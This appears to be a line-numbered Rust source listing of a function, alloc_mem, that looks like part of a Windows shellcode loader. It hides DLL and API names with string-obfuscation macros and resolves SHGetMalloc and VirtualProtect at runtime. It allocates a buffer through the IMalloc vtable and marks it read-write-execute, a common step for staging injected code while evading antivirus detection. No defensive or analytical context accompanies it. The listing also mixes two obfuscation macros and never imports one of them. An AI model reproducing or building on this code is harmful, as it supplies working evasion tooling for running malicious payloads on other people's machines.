(size: usize)
| 1 | use crate::utils::{load_library, get_proc_address}; |
| 2 | #[allow(dead_code)] |
| 3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> { |
| 4 | use obfstr::{obfstr, obfbytes}; |
| 5 | use core::ffi::c_void; |
| 6 | |
| 7 | // IMalloc interface definition (simplified vtable) |
| 8 | #[repr(C)] |
| 9 | struct IMallocVtbl { |
| 10 | query_interface: usize, |
| 11 | add_ref: usize, |
| 12 | release: usize, |
| 13 | alloc: unsafe extern "system" fn(this: *mut c_void, cb: usize) -> *mut c_void, |
| 14 | } |
| 15 | type SHGetMallocFn = unsafe extern "system" fn(pp_malloc: *mut *mut *mut IMallocVtbl) -> i32; |
| 16 | type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32; |
| 17 | |
| 18 | let shell32 = load_library(obfbytes!(b"shell32.dll\0").as_slice())?; |
| 19 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 20 | |
| 21 | let sh_get_malloc: SHGetMallocFn = core::mem::transmute(get_proc_address(shell32, obfbytes!(b"SHGetMalloc\0").as_slice())?); |
| 22 | let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualProtect\0").as_slice())?); |
| 23 | |
| 24 | let mut malloc_ptr: *mut *mut IMallocVtbl = core::ptr::null_mut(); |
| 25 | if sh_get_malloc(&mut malloc_ptr) != 0 { |
| 26 | return Err(obfstr!("SHGetMalloc failed").to_string()); |
| 27 | } |
| 28 | |
| 29 | let malloc_vtbl = *malloc_ptr; |
| 30 | let alloc_fn = (*malloc_vtbl).alloc; |
| 31 | |
| 32 | let p = alloc_fn(malloc_ptr as *mut c_void, size); |
| 33 | if p.is_null() { |
| 34 | return Err(obf_lit!("IMalloc::Alloc failed").to_string()); |
| 35 | } |
| 36 | |
| 37 | let mut old_protect = 0u32; |
| 38 | let ok = virtual_protect(p, size, 0x40, &mut old_protect); |
| 39 | if ok == 0 { |
| 40 | return Err(obf_lit!("VirtualProtect failed").to_string()); |
| 41 | } |
| 42 | |
| 43 | Ok(p as *mut u8) |
| 44 | } |
nothing calls this directly
no test coverage detected